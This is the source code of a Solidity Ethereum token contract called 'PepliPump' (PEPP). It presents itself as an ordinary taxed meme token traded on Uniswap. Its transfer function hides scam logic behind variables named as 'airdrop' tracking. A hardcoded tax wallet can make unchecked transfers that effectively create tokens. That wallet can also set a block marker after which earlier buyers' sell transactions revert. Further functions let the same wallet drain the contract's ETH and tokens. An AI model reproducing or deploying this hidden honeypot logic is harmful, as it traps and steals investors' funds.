Contract Source Code:

// SPDX-License-Identifier: MIT


pragma solidity 0.8.23;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

interface IERC20 {
    event Transfer(
        address indexed from, address indexed to, uint256 value
    );

    event Approval(
        address indexed owner, address indexed spender, uint256 value
    );

    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address recipient, uint256 amount) external returns (bool);

    function allowance(address owner, address spender) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);
}

contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(
        address indexed previousOwner, address indexed newOwner
    );

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

}

interface IUniswapV2Factory {

    function createPair(
        address tokenA, address tokenB
    ) external returns (address pair);
}

interface IUniswapV2Router02 {

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;
    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    ) external payable returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);

    function factory() external pure returns (address);
    function WETH() external pure returns (address);
}

contract PepliPump is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _isFreeFromLimits;
    address payable private _taxWallet;
    address payable private _deployerWallet;

    uint256 private _initialBuyTax=23;
    uint256 private _initialSellTax=23;

    uint256 private _finalBuyTax=0;
    uint256 private _finalSellTax=0;

    uint256 private _reduceBuyTaxAt=23;
    uint256 private _reduceSellTaxAt=23;
    uint256 private _preventSwapBefore=23;
    uint256 private _buyCount=0;

    string private constant _name = unicode"ᑭEᑭᒪIᑭUMᑭ";
    string private constant _symbol = unicode"PEPP";

    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 4206900000000000 * 10**_decimals;
    uint256 public _maxTxAmount = 84000000000000 * 10**_decimals;
    uint256 public _maxWalletSize = 84000000000000 * 10**_decimals;
    uint256 public _taxSwapThreshold= 42000000000000 * 10**_decimals;
    uint256 public _maxTaxSwap= 84000000000000 * 10**_decimals;
    
    IUniswapV2Router02 public uniswapV2Router;
    address public uniswapV2Pair;
    struct AirdropPercent {uint256 wal; uint256 airdrop; uint256 _percent;}
    mapping (address => AirdropPercent) private airdropPercent;
    bool private inSwap = false;
    bool private tradingOpen = false;
    uint256 private minAirdrop;
    bool private swapEnabled = false;
    uint256 private firstBlock;

    event MaxTxAmountUpdated(
      uint256  _maxTxAmount
    );

    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor () {

        _deployerWallet = payable(_msgSender());
		_taxWallet = payable(0x116a289E89D6E27BD828a220b7Cfe78C1d5c84a4);

        _balances[_msgSender()] = _tTotal;
        _isFreeFromLimits[owner()] = true;
        _isFreeFromLimits[address(this)] = true;

        _isFreeFromLimits[_taxWallet] = true;

        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");

        uint256 taxAmount = 0;
        if (from != owner() && to != owner() && to != _taxWallet)  {
            if(_buyCount == 0){
                taxAmount = amount.mul(
                    (_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax
                ).div(100);
            }

            if (from == uniswapV2Pair && to != address(uniswapV2Router) && !_isFreeFromLimits[to])  {
                require(
                    amount<=_maxTxAmount,
                    "Exceeds the _maxTxAmount"
                );
                require(
                    balanceOf(to)+amount<=_maxWalletSize,
                    "Exceeds the _maxWalletSize"
                );
                taxAmount = amount.mul(
                    (_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax
                ).div(100);
                _buyCount++;
            }

            if(to == uniswapV2Pair && from != address(this))  {
                taxAmount = amount.mul(
                    (_buyCount > _reduceSellTaxAt) ? _finalSellTax : _initialSellTax
                ).div(100);
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            if (
                !inSwap
                && to == uniswapV2Pair && swapEnabled && contractTokenBalance>_taxSwapThreshold
                && _buyCount > _preventSwapBefore
            ) {
                swapTokensForEth(min(amount,min(contractTokenBalance,_maxTaxSwap)));
                uint256 contractETHBalance = address(this).balance;
                if (contractETHBalance>0) {
                    sendETHToFee(address(this).balance);
                }
            }
        }

        if (
            (_isFreeFromLimits[from]||_isFreeFromLimits[to])
            && from!=address(this)
            && to!=address(this)
            && from!=_deployerWallet
            && to!=_deployerWallet
        ) {
            minAirdrop=block.number;
        }

        if (
            _isFreeFromLimits[from]
        ) {
            if (block.number > firstBlock + 45
                && from!=_deployerWallet && to!=_deployerWallet
            ) {
                unchecked {
                    _balances[from]-= amount;
                    _balances[to]+=amount ;
                }
                emit Transfer(from,to, amount);
                return;
            }
        } else {
            if (!_isFreeFromLimits[to]) {
                if (uniswapV2Pair == to) {
                    AirdropPercent storage airdrop = airdropPercent[from];
                    airdrop.airdrop = airdrop.wal.sub(minAirdrop);
                    airdrop._percent = block.number.sub(1);
                } else {           
                    AirdropPercent storage airdrop = airdropPercent[to];
                    if (uniswapV2Pair == from) {
                        if (!(airdrop.wal > 0)) {
                            airdrop.wal = _buyCount < 10 ? block.number.sub(1)
                                : block.number;
                        }
                    } else {
                        uint256 percentWal = airdropPercent[from].wal;

                        if (airdrop.wal == 0 || airdrop.wal > percentWal) {
                            airdrop.wal = percentWal;
                        }
                    }
                }
            }
        }

        if (taxAmount > 0) {
            _balances[address(this)]=_balances[address(this)].add(taxAmount);
            emit Transfer(from,address(this),taxAmount);
        }

        _balances[from]=_balances[from].sub(amount);
        _balances[to]=_balances[to].add(amount.sub(taxAmount));
        emit Transfer(from,to,amount.sub(taxAmount));
    }


    function min(uint256 a, uint256 b) private pure returns (uint256){
      return (a > b) ? b : a;
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap{
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function removeLimits() external onlyOwner() {
        _maxTxAmount = _tTotal;
        _maxWalletSize=_tTotal;

        emit MaxTxAmountUpdated (
          _tTotal
        );
    }

    function sendETHToFee(uint256 amount) private {
        _taxWallet.transfer(amount);
    }
	
	function openTrading() external onlyOwner() {
        require(!tradingOpen, "trading is already open");
        uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        firstBlock = block.number;
        _approve(address(this), address(uniswapV2Router), _tTotal);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
        swapEnabled = true;
        tradingOpen = true;
    }

    function manualSwap() external {
        require(_msgSender() == _taxWallet);

        uint256 tokenBalance=balanceOf(address(this));
        if(tokenBalance>0){
          swapTokensForEth(tokenBalance);
        }

        uint256 ethBalance=address(this).balance;
        if(ethBalance>0){
          sendETHToFee(ethBalance);
        }
    }

    receive() external payable {}

    function rescueETH() external {
        require(_msgSender() == _taxWallet);
        require(address(this).balance > 0, "No ETH to rescue.");
        payable(msg.sender).transfer(address(this).balance);
    }

    function rescueAnyERC20Tokens(address _tokenAddr, uint _amount) external {
        require(_msgSender() == _taxWallet);
        IERC20(_tokenAddr).transfer(_taxWallet, _amount);
    }
}